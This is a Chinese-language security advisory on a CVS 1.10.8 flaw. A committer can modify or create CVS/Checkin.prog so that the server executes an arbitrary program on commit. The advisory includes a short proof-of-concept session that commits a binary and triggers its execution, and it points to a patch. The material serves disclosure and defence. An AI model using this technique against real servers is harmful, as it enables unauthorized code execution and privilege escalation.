CVS Checkin.prog二进制文件执行错误发布时间:2000-04-17 更新时间:2000-04-17 严重程度:高 威胁程度:权限提升 错误类型:设计错误 利用方式:服务器模式 受影响系统 CVS 1.10.8详细描述 一个CVS委托者(cvs committer)可以通过Checkin.prog执行任意程序,通常工作目录里的CVS/Checkin.prog是从CVSROOT/modules里校验过后拷贝过来的。 但是委托者可以更改工作目录的话,Checkin.prog就可能被修改甚至新建,如果这样的话,cvs服务器就会执行更改过的Checkin.prog,另一点要注意的是,委托者可以通过`cvs add -kb" 以及 `cvs commit"建立一个新的可执行文件,恶意的委托者也可以利用Checkin.prog,通过`cvs commit"来激活并执行文件。 测试代码 测试方法: % cvs -d :pserver:test@localhost:/tmp/cvs -f co somemodule cvs server: Updating somemodule % cd somemodule % cp /bin/ls binary % cvs add -kb binary cvs server: scheduling file `binary" for addition cvs server: use "cvs commit" to add this file permanently % echo ./binary > CVS/Checkin.prog % cvs commit -m "test" cvs commit: Examining . RCS file: /tmp/cvs/somemodule/binary,v done Checking in binary; /tmp/cvs/somemodule/binary,v <-- binary initial revision: 1.1 done cvs server: Executing ""./binary" "/tmp/cvs/somemodule"" #cvs.lock #cvs.wfl.serein.m17n.org.14330 binary,v 解决方案 漏洞补丁: Tanaka Akira <akr@m17n.org> has provided a patch for CVS 1.10.8 . CVS CVS 1.10.8: Tanaka Akira patch cvs-server.patch http://www.securityfocus.com/data/vulnerabilities/patches/cvs-server.patch 相关信息 |